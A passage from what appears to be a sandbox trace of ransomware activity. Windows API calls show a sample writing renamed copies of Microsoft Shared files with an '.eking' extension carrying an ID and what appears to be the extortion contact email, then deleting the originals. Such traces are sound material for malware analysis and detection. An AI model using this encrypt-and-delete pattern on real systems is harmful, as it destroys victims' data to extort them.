Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0265.459] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0265.459] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0265.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0265.459] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x4f160, lpOverlapped=0x0) returned 1 [0265.468] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x4f170, lpOverlapped=0x0) returned 1 [0265.474] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0265.474] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0265.474] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0265.474] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x4f160, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x4f160, lpOverlapped=0x0) returned 1 [0265.476] FlushFileBuffers (hFile=0x100) returned 1 [0266.113] FlushFileBuffers (hFile=0x1b4) returned 1 [0266.295] CloseHandle (hObject=0x100) returned 1 [0266.296] CloseHandle (hObject=0x1b4) returned 1 [0266.296] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0266.300] SetEvent (hEvent=0xe0) returned 1 [0266.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0266.302] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=606062) returned 1 [0266.302] CloseHandle (hObject=0x1b4) returned 1 [0266.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0266.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0266.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0266.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0266.303] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0266.303] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0266.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x100 [0266.303] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x93f6e, lpOverlapped=0x0) returned 1 [0266.444] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x93f70, lpOverlapped=0x0) returned 1 [0266.455] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0266.456] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0266.456] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0266.456] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x93f6e, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x93f6e, lpOverlapped=0x0) returned 1 [0266.458] FlushFileBuffers (hFile=0x1b4) returned 1 [0267.068] FlushFileBuffers (hFile=0x100) returned 1 [0267.405] CloseHandle (hObject=0x1b4) returned 1 [0267.424] CloseHandle (hObject=0x100) returned 1 [0267.424] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0267.485] SetEvent (hEvent=0xe0) returned 1 [0267.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0267.541] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=241024) returned 1 [0267.541] CloseHandle (hObject=0x100) returned 1 [0267.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0267.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0267.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0267.570] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0267.570] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0267.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0267.592] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x3ad80, lpOverlapped=0x0) returned 1 [0267.597] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x3ad90, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x3ad90, lpOverlapped=0x0) returned 1 [0267.639] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0267.649] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0267.665] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0267.665] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x3ad80, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x3ad80, lpOverlapped=0x0) returned 1 [0267.706] FlushFileBuffers (hFile=0x100) returned 1 [0267.815] FlushFileBuffers (hFile=0x1b4) returned 1 [0268.130] CloseHandle (hObject=0x100) returned 1 [0268.131] CloseHandle (hObject=0x1b4) returned 1 [0268.131] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 1 [0268.134] SetEvent (hEvent=0xe0) returned 1 [0268.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0268.136] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=430080) returned 1 [0268.136] CloseHandle (hObject=0x1b4) returned 1 [0268.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0268.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0268.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0268.137] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0268.137] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0268.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x100 [0268.137] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x69000, lpOverlapped=0x0) returned 1 [0268.146] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x69010, lpOverlapped=0x0) returned 1 [0268.154] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0268.154] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0268.154] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0268.154] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x69000, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x69000, lpOverlapped=0x0) returned 1 [0268.156] FlushFileBuffers (hFile=0x1b4) returned 1 [0268.163] FlushFileBuffers (hFile=0x100) returned 1 [0268.178] CloseHandle (hObject=0x1b4) returned 1 [0268.179] CloseHandle (hObject=0x100) returned 1 [0268.179] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0268.185] SetEvent (hEvent=0xe0) returned 1 [0268.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.186] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=791686) returned 1 [0268.186] CloseHandle (hObject=0x100) returned 1 [0268.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0268.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0268.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.188] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.188] CloseHandle (hObject=0x100) returned 1 [0268.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0268.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0268.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.190] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.190] CloseHandle (hObject=0x100) returned 1 [0268.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0268.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0268.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.191] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=27045) returned 1 [0268.191] CloseHandle (hObject=0x100) returned 1 [0268.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0268.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0268.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.192] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=193024) returned 1 [0268.192] CloseHandle (hObject=0x100) returned 1 [0268.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0268.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0268.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.194] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.194] CloseHandle (hObject=0x100) returned 1 [0268.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0268.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0268.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.196] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.196] CloseHandle (hObject=0x100) returned 1 [0268.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: 